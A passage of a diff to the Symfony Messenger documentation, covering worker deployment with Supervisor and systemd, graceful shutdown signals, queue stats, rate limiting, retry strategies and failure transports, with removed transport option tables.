``messenger:consume`` command. + **Restart Workers on Deploy** Each time you deploy, you'll need to restart all your worker processes so that they see the newly deployed code. To do this, run ``messenger:stop-workers`` - on deploy. This will signal to each worker that it should finish the message - it's currently handling and shut down gracefully. Then, Supervisor will create - new worker processes. The command uses the :ref:`app <cache-configuration-with-frameworkbundle>` + on deployment. This will signal to each worker that it should finish the message + it's currently handling and should shut down gracefully. Then, the process manager + will create new worker processes. The command uses the :ref:`app <cache-configuration-with-frameworkbundle>` cache internally - so make sure this is configured to use an adapter you like. +**Use the Same Cache Between Deploys** + If your deploy strategy involves the creation of new target directories, you + should set a value for the :ref:`cache.prefix_seed <reference-cache-prefix-seed>` + configuration option in order to use the same cache namespace between deployments. + Otherwise, the ``cache.app`` pool will use the value of the ``kernel.project_dir`` + parameter as base for the namespace, which will lead to different namespaces + each time a new deployment is made. + Prioritized Transports ~~~~~~~~~~~~~~~~~~~~~~ @@ -506,15 +638,15 @@ different messages to them. For example: # name: high #queues: # messages_high: ~ - # or redis try "group" + # for redis try "group" async_priority_low: dsn: '%env(MESSENGER_TRANSPORT_DSN)%' options: queue_name: low routing: - 'App\Message\SmsNotification': async_priority_low - 'App\Message\NewUserWelcomeEmail': async_priority_high + 'App\Message\SmsNotification': async_priority_low + 'App\Message\NewUserWelcomeEmail': async_priority_high .. code-block:: xml @@ -554,28 +686,22 @@ different messages to them. For example: .. code-block:: php // config/packages/messenger.php - $container->loadFromExtension('framework', [ - 'messenger' => [ - 'transports' => [ - 'async_priority_high' => [ - 'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%', - 'options' => [ - 'queue_name' => 'high', - ], - ], - 'async_priority_low' => [ - 'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%', - 'options' => [ - 'queue_name' => 'low', - ], - ], - ], - 'routing' => [ - 'App\Message\SmsNotification' => 'async_priority_low', - 'App\Message\NewUserWelcomeEmail' => 'async_priority_high', - ], - ], - ]); + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $messenger = $framework->messenger(); + + $messenger->transport('async_priority_high') + ->dsn(env('MESSENGER_TRANSPORT_DSN')) + ->options(['queue_name' => 'high']); + + $messenger->transport('async_priority_low') + ->dsn(env('MESSENGER_TRANSPORT_DSN')) + ->options(['queue_name' => 'low']); + + $messenger->routing('App\Message\SmsNotification')->senders(['async_priority_low']); + $messenger->routing('App\Message\NewUserWelcomeEmail')->senders(['async_priority_high']); + }; You can then run individual workers for each transport or instruct one worker to handle messages in a priority order: @@ -587,6 +713,59 @@ to handle messages in a priority order: The worker will always first look for messages waiting on ``async_priority_high``. If there are none, *then* it will consume messages from ``async_priority_low``. +.. _messenger-limit-queues: + +Limit Consuming to Specific Queues +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Some transports (notably AMQP) have the concept of exchanges and queues. A Symfony +transport is always bound to an exchange. By default, the worker consumes from all +queues attached to the exchange of the specified transport. However, there are use +cases to want a worker to only consume from specific queues. + +You can limit the worker to only process messages from specific queue(s): + +.. code-block:: terminal + + $ php bin/console messenger:consume my_transport --queues=fasttrack + + # you can pass the --queues option more than once to process multiple queues + $ php bin/console messenger:consume my_transport --queues=fasttrack1 --queues=fasttrack2 + +.. note:: + + To allow using the ``queues`` option, the receiver must implement the + :class:`Symfony\\Component\\Messenger\\Transport\\Receiver\\QueueReceiverInterface`. + +.. _messenger-message-count: + +Checking the Number of Queued Messages Per Transport +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Run the ``messenger:stats`` command to know how many messages are in the "queues" +of some or all transports: + +.. code-block:: terminal + + # displays the number of queued messages in all transports + $ php bin/console messenger:stats + + # shows stats only for some transports + $ php bin/console messenger:stats my_transport_name other_transport_name + + # you can also output the stats in JSON format + $ php bin/console messenger:stats --format=json + $ php bin/console messenger:stats my_transport_name other_transport_name --format=json + +.. versionadded:: 7.2 + + The ``format`` option was introduced in Symfony 7.2. + +.. note:: + + In order for this command to work, the configured transport's receiver must implement + :class:`Symfony\\Component\\Messenger\\Transport\\Receiver\\MessageCountAwareInterface`. + .. _messenger-supervisor: Supervisor Configuration @@ -616,11 +795,36 @@ times: startsecs=0 autostart=true autorestart=true + startretries=10 process_name=%(program_name)s_%(process_num)02d Change the ``async`` argument to use the name of your transport (or transports) -and ``user`` to the Unix user on your server. Next, tell Supervisor to read your -config and start your workers: +and ``user`` to the Unix user on your server. + +.. warning:: + + During a deployment, something might be unavailable (e.g. the + database) causing the consumer to fail to start. In this situation, + Supervisor will try ``startretries`` number of times to restart the + command. Make sure to change this setting to avoid getting the command + in a FATAL state, which will never restart again. + + Each restart, Supervisor increases the delay by 1 second. For instance, if + the value is ``10``, it will wait 1 sec, 2 sec, 3 sec, etc. This gives the + service a total of 55 seconds to become available again. Increase the + ``startretries`` setting to cover the maximum expected downtime. + +If you use the Redis Transport, note that each worker needs a unique consumer +name to avoid the same message being handled by multiple workers. One way to +achieve this is to set an environment variable in the Supervisor configuration +file, which you can then refer to in ``messenger.yaml`` +(see the :ref:`Redis section <messenger-redis-transport>` below): + +.. code-block:: ini + + environment=MESSENGER_CONSUMER_NAME=%(program_name)s_%(process_num)02d + +Next, tell Supervisor to read your config and start your workers: .. code-block:: terminal @@ -630,19 +834,22 @@ config and start your workers: $ sudo supervisorctl start messenger-consume:* + # If you deploy an update of your code, don't forget to restart your workers + # to run the new code + $ sudo supervisorctl restart messenger-consume:* + See the `Supervisor docs`_ for more details. -.. _messenger-retries-failures: +Graceful Shutdown +................. -Retries & Failures ------------------- +If you install the `PCNTL`_ PHP extension in your project, workers will handle +the ``SIGTERM`` or ``SIGINT`` POSIX signals to finish processing their current +message before terminating. -If an exception is thrown while consuming a message from a transport it will -automatically be re-sent to the transport to be tried again. By default, a message -will be retried 3 times before being discarded or -:ref:`sent to the failure transport <messenger-failure-transport>`. Each retry -will also be delayed, in case the failure was due to a temporary issue. All of -this is configurable for each transport: +However, you might prefer to use different POSIX signals for graceful shutdown. +You can override default ones by setting the ``framework.messenger.stop_worker_on_signals`` +configuration option: .. configuration-block:: @@ -651,40 +858,28 @@ this is configurable for each transport: # config/packages/messenger.yaml framework: messenger: - transports: - async_priority_high: - dsn: '%env(MESSENGER_TRANSPORT_DSN)%' - - # default configuration - retry_strategy: - max_retries: 3 - # milliseconds delay - delay: 1000 - # causes the delay to be higher before each retry - # e.g. 1 second delay, 2 seconds, 4 seconds - multiplier: 2 - max_delay: 0 - # override all of this with a service that - # implements Symfony\Component\Messenger\Retry\RetryStrategyInterface - # service: null + stop_worker_on_signals: + - SIGTERM + - SIGINT + - SIGUSR1 .. code-block:: xml <!-- config/packages/messenger.xml --> <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:framework="http://symfony.com/schema/dic/symfony" - xsi:schemaLocation="http://symfony.com/schema/dic/services + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/symfony - https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> <framework:config> <framework:messenger> - <framework:transport name="async_priority_high" dsn="%env(MESSENGER_TRANSPORT_DSN)%?queue_name=high_priority"> - <framework:retry-strategy max-retries="3" delay="1000" multiplier="2" max-delay="0"/> - </framework:transport> + <!-- ... --> + <framework:stop-worker-on-signal>SIGTERM</framework:stop-worker-on-signal> + <framework:stop-worker-on-signal>SIGINT</framework:stop-worker-on-signal> + <framework:stop-worker-on-signal>SIGUSR1</framework:stop-worker-on-signal> </framework:messenger> </framework:config> </container> @@ -692,159 +887,148 @@ this is configurable for each transport: .. code-block:: php // config/packages/messenger.php - $container->loadFromExtension('framework', [ - 'messenger' => [ - 'transports' => [ - 'async_priority_high' => [ - 'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%', - - // default configuration - 'retry_strategy' => [ - 'max_retries' => 3, - // milliseconds delay - 'delay' => 1000, - // causes the delay to be higher before each retry - // e.g. 1 second delay, 2 seconds, 4 seconds - 'multiplier' => 2, - 'max_delay' => 0, - // override all of this with a service that - // implements Symfony\Component\Messenger\Retry\RetryStrategyInterface - // 'service' => null, - ], - ], - ], - ], - ]); + use Symfony\Config\FrameworkConfig; -Avoiding Retrying -~~~~~~~~~~~~~~~~~ + return static function (FrameworkConfig $framework): void { + $framework->messenger() + ->stopWorkerOnSignals(['SIGTERM', 'SIGINT', 'SIGUSR1']); + }; -Sometimes handling a message might fail in a way that you *know* is permanent -and should not be retried. If you throw -:class:`Symfony\\Component\\Messenger\\Exception\\UnrecoverableMessageHandlingException`, -the message will not be retried. +.. versionadded:: 7.3 -Forcing Retrying -~~~~~~~~~~~~~~~~ + Support for signals plain names in configuration was introduced in Symfony 7.3. + Previously, you had to use the numeric values of signals as defined by the + ``pcntl`` extension's `predefined constants`_. -.. versionadded:: 5.1 +In some cases the ``SIGTERM`` signal is sent by Supervisor itself (e.g. stopping +a Docker container having Supervisor as its entrypoint). In these cases you +need to add a ``stopwaitsecs`` key to the program configuration (with a value +of the desired grace period in seconds) in order to perform a graceful shutdown: - The ``RecoverableMessageHandlingException`` was introduced in Symfony 5.1. +.. code-block:: ini -Sometimes handling a message must fail in a way that you *know* is temporary -and must be retried. If you throw -:class:`Symfony\\Component\\Messenger\\Exception\\RecoverableMessageHandlingException`, -the message will always be retried. + [program:x] + stopwaitsecs=20 -.. _messenger-failure-transport: +.. _messenger-systemd: -Saving & Retrying Failed Messages -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Systemd Configuration +~~~~~~~~~~~~~~~~~~~~~ -If a message fails it is retried multiple times (``max_retries``) and then will -be discarded. To avoid this happening, you can instead configure a ``failure_transport``: +While Supervisor is a great tool, it has the disadvantage that you need system +access to run it. Systemd has become the standard on most Linux distributions, +and has a good alternative called *user services*. -.. configuration-block:: +Systemd user service configuration files typically live in a ``~/.config/systemd/user`` +directory. For example, you can create a new ``messenger-worker.service`` file. Or a +``messenger-worker@.service`` file if you want more instances running at the same time: - .. code-block:: yaml +.. code-block:: ini - # config/packages/messenger.yaml - framework: - messenger: - # after retrying, messages will be sent to the "failed" transport - failure_transport: failed + [Unit] + Description=Symfony messenger-consume %i - transports: - # ... other transports + [Service] + ExecStart=php /path/to/your/app/bin/console messenger:consume async --time-limit=3600 + # for Redis, set a custom consumer name for each instance + Environment="MESSENGER_CONSUMER_NAME=symfony-%n-%i" + Restart=always + RestartSec=30 - failed: 'doctrine://default?queue_name=failed' + [Install] + WantedBy=default.target - .. code-block:: xml +Now, tell systemd to enable and start one worker: - <!-- config/packages/messenger.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:framework="http://symfony.com/schema/dic/symfony" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/symfony - https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> +.. code-block:: terminal - <framework:config> - <!-- after retrying, messages will be sent to the "failed" transport --> - <framework:messenger failure-transport="failed"> - <!-- ... other transports --> + $ systemctl --user enable messenger-worker@1.service + $ systemctl --user start messenger-worker@1.service - <framework:transport name="failed" dsn="doctrine://default?queue_name=failed"/> - </framework:messenger> - </framework:config> - </container> + # to enable and start 20 workers + $ systemctl --user enable messenger-worker@{1..20}.service + $ systemctl --user start messenger-worker@{1..20}.service - .. code-block:: php +If you change your service config file, you need to reload the daemon: - // config/packages/messenger.php - $container->loadFromExtension('framework', [ - 'messenger' => [ - // after retrying, messages will be sent to the "failed" transport - 'failure_transport' => 'failed', +.. code-block:: terminal - 'transports' => [ - // ... other transports + $ systemctl --user daemon-reload - 'failed' => [ - 'dsn' => 'doctrine://default?queue_name=failed', - ], - ], - ], - ]); +To restart all your consumers: -In this example, if handling a message fails 3 times (default ``max_retries``), -it will then be sent to the ``failed`` transport. While you *can* use -``messenger:consume failed`` to consume this like a normal transport, you'll -usually want to manually view the messages in the failure transport and choose -to retry them: +.. code-block:: terminal + + $ systemctl --user restart messenger-consume@*.service + +The systemd user instance is only started after the first login of the +particular user. Consumer often need to start on system boot instead. +Enable lingering on the user to activate that behavior: .. code-block:: terminal - # see all messages in the failure transport - $ php bin/console messenger:failed:show + $ loginctl enable-linger <your-username> - # see details about a specific failure - $ php bin/console messenger:failed:show 20 -vv +Logs are managed by journald and can be worked with using the journalctl +command: - # view and retry messages one-by-one - $ php bin/console messenger:failed:retry -vv +.. code-block:: terminal - # retry specific messages - $ php bin/console messenger:failed:retry 20 30 --force + # follow logs of consumer nr 11 + $ journalctl -f --user-unit messenger-consume@11.service - # remove a message without retrying it - $ php bin/console messenger:failed:remove 20 + # follow logs of all consumers + $ journalctl -f --user-unit messenger-consume@* - # remove messages without retrying them and show each message before removing it - $ php bin/console messenger:failed:remove 20 30 --show-messages + # follow all logs from your user services + $ journalctl -f _UID=$UID -.. versionadded:: 5.1 +See the `systemd docs`_ for more details. - The ``--show-messages`` option was introduced in Symfony 5.1. +.. note:: -If the message fails again, it will be re-sent back to the failure transport -due to the normal :ref:`retry rules <messenger-retries-failures>`. Once the max -retry has been hit, the message will be discarded permanently. + You either need elevated privileges for the ``journalctl`` command, or add + your user to the systemd-journal group: -.. _messenger-transports-config: + .. code-block:: terminal -Transport Configuration ------------------------ + $ sudo usermod -a -G systemd-journal <your-username> -Messenger supports a number of different transport types, each with their own -options. Options can be passed to the transport via a DSN string or configuration. +Stateless Worker +~~~~~~~~~~~~~~~~ -.. code-block:: env +PHP is designed to be stateless, there are no shared resources across different +requests. In HTTP context PHP cleans everything after sending the response, so +you can decide to not take care of services that may leak memory. - # .env - MESSENGER_TRANSPORT_DSN=amqp://localhost/%2f/messages?auto_setup=false +On the other hand, it's common for workers to process messages sequentially in +long-running CLI processes which don't finish after processing a single message. +Beware about service states to prevent information and/or memory leakage as +Symfony will inject the same instance of a service in all messages, preserving +the internal state of the services. + +However, certain Symfony services, such as the Monolog +:ref:`fingers crossed handler <logging-handler-fingers_crossed>`, leak by design. +Symfony provides a **service reset** feature to solve this problem. When resetting +the container automatically between two messages, Symfony looks for any services +implementing :class:`Symfony\\Contracts\\Service\\ResetInterface` (including your +own services) and calls their ``reset()`` method so they can clean their internal state. + +If a service is not stateless and you want to reset its properties after each message, then +the service must implement :class:`Symfony\\Contracts\\Service\\ResetInterface` where you can reset the +properties in the ``reset()`` method. + +If you don't want to reset the container, add the ``--no-reset`` option when +running the ``messenger:consume`` command. + +.. _messenger-retries-failures: + +Rate Limited Transport +~~~~~~~~~~~~~~~~~~~~~~ + +Sometimes you might need to rate limit your message worker. You can configure a +rate limiter on a transport (requires the :doc:`RateLimiter component </rate_limiter>`) +by setting its ``rate_limiter`` option: .. configuration-block:: @@ -854,10 +1038,8 @@ options. Options can be passed to the transport via a DSN string or configuratio framework: messenger: transports: - my_transport: - dsn: "%env(MESSENGER_TRANSPORT_DSN)%" - options: - auto_setup: false + async: + rate_limiter: your_rate_limiter_name .. code-block:: xml @@ -873,8 +1055,8 @@ options. Options can be passed to the transport via a DSN string or configuratio <framework:config> <framework:messenger> - <framework:transport name="my_transport" dsn="%env(MESSENGER_TRANSPORT_DSN)%"> - <framework:options auto-setup="false"/> + <framework:transport name="async"> + <option key="rate_limiter">your_rate_limiter_name</option> </framework:transport> </framework:messenger> </framework:config> @@ -883,334 +1065,304 @@ options. Options can be passed to the transport via a DSN string or configuratio .. code-block:: php // config/packages/messenger.php - $container->loadFromExtension('framework', [ - 'messenger' => [ - 'transports' => [ - 'my_transport' => [ - 'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%', - 'options' => [ - 'auto_setup' => false, - ] - ], - ], - ], - ]); - -Options defined under ``options`` take precedence over ones defined in the DSN. - -AMQP Transport -~~~~~~~~~~~~~~ - -The AMQP transport uses the AMQP PHP extension to send messages to queues like -RabbitMQ. - -.. versionadded:: 5.1 - - Starting from Symfony 5.1, the AMQP transport has moved to a separate package. - Install it by running: - - .. code-block:: terminal - - $ composer require symfony/amqp-messenger + use Symfony\Config\FrameworkConfig; -The AMQP transport DSN may looks like this: + return static function (FrameworkConfig $framework) { + $framework->messenger() + ->transport('async') + ->options(['rate_limiter' => 'your_rate_limiter_name']) + ; + }; -.. code-block:: env - - # .env - MESSENGER_TRANSPORT_DSN=amqp://guest:guest@localhost:5672/%2f/messages +.. warning:: - # or use the AMQPS protocol - MESSENGER_TRANSPORT_DSN=amqps://guest:guest@localhost/%2f/messages + When a rate limiter is configured on a transport, it will block the whole + worker when the limit is hit. You should make sure you configure a dedicated + worker for a rate limited transport to avoid other transports to be blocked. -.. versionadded:: 5.2 +Retries & Failures +------------------ - The AMQPS protocol support was introduced in Symfony 5.2. +If an exception is thrown while consuming a message from a transport it will +automatically be re-sent to the transport to be tried again. By default, a message +will be retried 3 times before being discarded or +:ref:`sent to the failure transport <messenger-failure-transport>`. Each retry +will also be delayed, in case the failure was due to a temporary issue. All of +this is configurable for each transport: -If you want to use TLS/SSL encrypted AMQP, you must also provide a CA certificate. -Define the certificate path in the ``amqp.cacert`` PHP.ini setting -(e.g. ``amqp.cacert = /etc/ssl/certs``) or in the ``cacert`` parameter of the -DSN (e.g ``amqps://localhost?cacert=/etc/ssl/certs/``). +.. configuration-block:: -The default port used by TLS/SSL encrypted AMQP is 5671, but you can overwrite -it in the ``port`` parameter of the DSN (e.g. ``amqps://localhost?cacert=/etc/ssl/certs/&port=12345``). + .. code-block:: yaml -.. note:: + # config/packages/messenger.yaml + framework: + messenger: + transports: + async_priority_high: + dsn: '%env(MESSENGER_TRANSPORT_DSN)%' - By default, the transport will automatically create any exchanges, queues and - binding keys that are needed. That can be disabled, but some functionality - may not work correctly (like delayed queues). + # default configuration + retry_strategy: + max_retries: 3 + # milliseconds delay + delay: 1000 + # causes the delay to be higher before each retry + # e.g. 1 second delay, 2 seconds, 4 seconds + multiplier: 2 + max_delay: 0 + # applies randomness to the delay that can prevent the thundering herd effect + # the value (between 0 and 1.0) is the percentage of 'delay' that will be added/subtracted + jitter: 0.1 + # override all of this with a service that + # implements Symfony\Component\Messenger\Retry\RetryStrategyInterface + # service: null -The transport has a number of other options, including ways to configure -the exchange, queues binding keys and more. See the documentation on -:class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\Connection`. + .. code-block:: xml -The transport has a number of options: + <!-- config/packages/messenger.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> -============================================ ================================================= =================================== - Option Description Default -============================================ ================================================= =================================== -``auto_setup`` Whether the table should be created ``true`` - automatically during send / get. -``cacert`` Path to the CA cert file in PEM format. -``cert`` Path to the client certificate in PEM format. -``channel_max`` Specifies highest channel number that the server - permits. 0 means standard extension limit -``confirm_timeout`` Timeout in seconds for confirmation, if none - specified transport will not wait for message - confirmation. Note: 0 or greater seconds. May be - fractional. -``connect_timeout`` Connection timeout. Note: 0 or greater seconds. - May be fractional. -``frame_max`` The largest frame size that the server proposes - for the connection, including frame header and - end-byte. 0 means standard extension limit - (depends on librabbimq default frame size limit) -``heartbeat`` The delay, in seconds, of the connection - heartbeat that the server wants. 0 means the - server does not want a heartbeat. Note, - librabbitmq has limited heartbeat support, which - means heartbeats checked only during blocking - calls. -``host`` Hostname of the AMQP service -``key`` Path to the client key in PEM format. -``password`` Password to use to connect to the AMQP service -``persistent`` ``'false'`` -``port`` Port of the AMQP service -``prefetch_count`` -``read_timeout`` Timeout in for income activity. Note: 0 or - greater seconds. May be fractional. -``retry`` -``sasl_method`` -``user`` Username to use to connect the AMQP service -``verify`` Enable or disable peer verification. If peer - verification is enabled then the common name in - the server certificate must match the server - name. Peer verification is enabled by default. -``vhost`` Virtual Host to use with the AMQP service -``write_timeout`` Timeout in for outcome activity. Note: 0 or - greater seconds. May be fractional. -``delay[queue_name_pattern]`` Pattern to use to create the queues ``delay_%exchange_name%_%routing_key%_%delay%`` -``delay[exchange_name]`` Name of the exchange to be used for the ``delays`` - delayed/retried messages -``queues[name][arguments]`` Extra arguments -``queues[name][binding_arguments]`` Arguments to be used while binding the queue. -``queues[name][binding_keys]`` The binding keys (if any) to bind to this queue -``queues[name][flags]`` Queue flags ``AMQP_DURABLE`` -``exchange[arguments]`` -``exchange[default_publish_routing_key]`` Routing key to use when publishing, if none is - specified on the message -``exchange[flags]`` Exchange flags ``AMQP_DURABLE`` -``exchange[name]`` Name of the exchange -``exchange[type]`` Type of exchange ``fanout`` -============================================ ================================================= =================================== + <framework:config> + <framework:messenger> + <framework:transport name="async_priority_high" dsn="%env(MESSENGER_TRANSPORT_DSN)%?queue_name=high_priority"> + <framework:retry-strategy max-retries="3" delay="1000" multiplier="2" max-delay="0" jitter="0.1"/> + </framework:transport> + </framework:messenger> + </framework:config> + </container> -You can also configure AMQP-specific settings on your message by adding -:class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\AmqpStamp` to -your Envelope:: + .. code-block:: php - use Symfony\Component\Messenger\Bridge\Amqp\Transport\AmqpStamp; - // ... + // config/packages/messenger.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $messenger = $framework->messenger(); + + $messenger->transport('async_priority_high') + ->dsn(env('MESSENGER_TRANSPORT_DSN')) + // default configuration + ->retryStrategy() + ->maxRetries(3) + // milliseconds delay + ->delay(1000) + // causes the delay to be higher before each retry + // e.g. 1 second delay, 2 seconds, 4 seconds + ->multiplier(2) + ->maxDelay(0) + // applies randomness to the delay that can prevent the thundering herd effect + // the value (between 0 and 1.0) is the percentage of 'delay' that will be added/subtracted + ->jitter(0.1) + // override all of this with a service that + // implements Symfony\Component\Messenger\Retry\RetryStrategyInterface + ->service(null) + ; + }; + +.. versionadded:: 7.1 + + The ``jitter`` option was introduced in Symfony 7.1. - $attributes = []; - $bus->dispatch(new SmsNotification(), [ - new AmqpStamp('custom-routing-key', AMQP_NOPARAM, $attributes) - ]); +.. tip:: -.. caution:: + Symfony triggers a :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageRetriedEvent` + when a message is retried so you can run your own logic. - The consumers do not show up in an admin panel as this transport does not rely on - ``\AmqpQueue::consume()`` which is blocking. Having a blocking receiver makes - the ``--time-limit/--memory-limit`` options of the ``messenger:consume`` command as well as - the ``messenger:stop-workers`` command inefficient, as they all rely on the fact that - the receiver returns immediately no matter if it finds a message or not. The consume - worker is responsible for iterating until it receives a message to handle and/or until one - of the stop conditions is reached. Thus, the worker's stop logic cannot be reached if it - is stuck in a blocking call. +.. note:: -Doctrine Transport -~~~~~~~~~~~~~~~~~~ + Thanks to :class:`Symfony\\Component\\Messenger\\Stamp\\SerializedMessageStamp`, + the serialized form of the message is saved, which prevents to serialize it + again if the message is later retried. -The Doctrine transport can be used to store messages in a database table. +Avoiding Retrying +~~~~~~~~~~~~~~~~~ -.. versionadded:: 5.1 +Sometimes handling a message might fail in a way that you *know* is permanent +and should not be retried. If you throw +:class:`Symfony\\Component\\Messenger\\Exception\\UnrecoverableMessageHandlingException`, +the message will not be retried. - Starting from Symfony 5.1, the Doctrine transport has moved to a separate package. - Install it by running: +.. note:: - .. code-block:: terminal + Messages that will not be retried, will still show up in the configured failure transport. + If you want to avoid that, consider handling the error yourself and let the handler + successfully end. - $ composer require symfony/doctrine-messenger +Forcing Retrying +~~~~~~~~~~~~~~~~ -The Doctrine transport DSN may looks like this: +Sometimes handling a message must fail in a way that you *know* is temporary +and must be retried. If you throw +:class:`Symfony\\Component\\Messenger\\Exception\\RecoverableMessageHandlingException`, +the message will always be retried infinitely and ``max_retries`` setting will be ignored. -.. code-block:: env +You can define a custom retry delay (e.g., to use the value from the ``Retry-After`` +header in an HTTP response) by setting the ``retryDelay`` argument in the +constructor of the ``RecoverableMessageHandlingException``. - # .env - MESSENGER_TRANSPORT_DSN=doctrine://default +.. versionadded:: 7.2 -The format is ``doctrine://<connection_name>``, in case you have multiple connections -and want to use one other than the "default". The transport will automatically create -a table named ``messenger_messages``. + The ``retryDelay`` argument and the ``getRetryDelay()`` method were introduced + in Symfony 7.2. -.. versionadded:: 5.1 +.. _messenger-failure-transport: - The ability to automatically generate a migration for the ``messenger_messages`` - table was introduced in Symfony 5.1 and DoctrineBundle 2.1. +Saving & Retrying Failed Messages +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and -:ref:`generate a migration <doctrine-creating-the-database-tables-schema>`. +If a message fails it is retried multiple times (``max_retries``) and then will +be discarded. To avoid this happening, you can instead configure a ``failure_transport``: -The transport has a number of options: +.. configuration-block:: -================== ===================================== ====================== - Option Description Default -================== ===================================== ====================== -table_name Name of the table messenger_messages -queue_name Name of the queue (a column in the default - table, to use one table for - multiple transports) -redeliver_timeout Timeout before retrying a message 3600 - that's in the queue but in the - "handling" state (if a worker stopped - for some reason, this will occur, - eventually you should retry the - message) - in seconds. -auto_setup Whether the table should be created - automatically during send / get. true -================== ===================================== ====================== + .. code-block:: yaml -Beanstalkd Transport -~~~~~~~~~~~~~~~~~~~~ + # config/packages/messenger.yaml + framework: + messenger: + # after retrying, messages will be sent to the "failed" transport + failure_transport: failed -.. versionadded:: 5.2 + transports: + # ... other transports - The Beanstalkd transport was introduced in Symfony 5.2. + failed: 'doctrine://default?queue_name=failed' -The Beanstalkd transports sends messages directly to a Beanstalkd work queue. Install -it by running: + .. code-block:: xml -.. code-block:: terminal + <!-- config/packages/messenger.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> - $ composer require symfony/beanstalkd-messenger + <framework:config> + <!-- after retrying, messages will be sent to the "failed" transport --> + <framework:messenger failure-transport="failed"> + <!-- ... other transports --> -The Beanstalkd transport DSN may looks like this: + <framework:transport name="failed" dsn="doctrine://default?queue_name=failed"/> + </framework:messenger> + </framework:config> + </container> -.. code-block:: env + .. code-block:: php - # .env - MESSENGER_TRANSPORT_DSN=beanstalkd://localhost:11300?tube_name=foo&timeout=4&ttr=120 + // config/packages/messenger.php + use Symfony\Config\FrameworkConfig; - # If no port, it will default to 11300 - MESSENGER_TRANSPORT_DSN=beanstalkd://localhost + return static function (FrameworkConfig $framework): void { + $messenger = $framework->messenger(); -The transport has a number of options: + // after retrying, messages will be sent to the "failed" transport + $messenger->failureTransport('failed'); -================== =================================== ====================== - Option Description Default -================== =================================== ====================== -tube_name Name of the queue default -timeout Message reservation timeout 0 (will cause the - - in seconds. server to immediately - return either a - response or a - TransportException - will be thrown) -ttr The message time to run before it - is put back in the ready queue - - in seconds. 90 -================== =================================== ====================== + // ... other transports -Redis Transport -~~~~~~~~~~~~~~~ + $messenger->transport('failed') + ->dsn('doctrine://default?queue_name=failed'); + }; -The Redis transport uses `streams`_ to queue messages. This transport requires -the Redis PHP extension (>=4.3) and a running Redis server (^5.0). +In this example, if handling a message fails 3 times (default ``max_retries``), +it will then be sent to the ``failed`` transport. While you *can* use +``messenger:consume failed`` to consume this like a normal transport, you'll +usually want to manually view the messages in the failure transport and choose +to retry them: -.. versionadded:: 5.1 +.. code-block:: terminal - Starting from Symfony 5.1, the Redis transport has moved to a separate package. - Install it by running: + # see all messages in the failure transport with a default limit of 50 + $ php bin/console messenger:failed:show - .. code-block:: terminal + # see the 10 first messages + $ php bin/console messenger:failed:show --max=10 - $ composer require symfony/redis-messenger + # see only App\Message\MyMessage messages + $ php bin/console messenger:failed:show --class-filter='App\Message\MyMessage' -The Redis transport DSN may looks like this: + # see the number of messages by message class + $ php bin/console messenger:failed:show --stats -.. code-block:: env + # see details about a specific failure + $ php bin/console messenger:failed:show 20 -vv - # .env - MESSENGER_TRANSPORT_DSN=redis://localhost:6379/messages - # Full DSN Example - MESSENGER_TRANSPORT_DSN=redis://password@localhost:6379/messages/symfony/consumer?auto_setup=true&serializer=1&stream_max_entries=0&dbindex=0 - # Unix Socket Example - MESSENGER_TRANSPORT_DSN=redis:///var/run/redis.sock + # for each message, this command asks whether to retry, skip, or delete + $ php bin/console messenger:failed:retry -vv -.. versionadded:: 5.1 + # retry specific messages + $ php bin/console messenger:failed:retry 20 30 --force - The Unix socket DSN was introduced in Symfony 5.1. + # remove a message without retrying it + $ php bin/console messenger:failed:remove 20 -The transport has a number of options: + # remove messages without retrying them and show each message before removing it + $ php bin/console messenger:failed:remove 20 30 --show-messages -=================== ===================================== ========================= - Option Description Default -=================== ===================================== ========================= -stream The Redis stream name messages -group The Redis consumer group name symfony -consumer Consumer name used in Redis consumer -auto_setup Create the Redis group automatically? true -auth The Redis password -delete_after_ack If ``true``, messages are deleted false - automatically after processing them -delete_after_reject If ``true``, messages are deleted true - automatically if they are rejected -serializer How to serialize the final payload 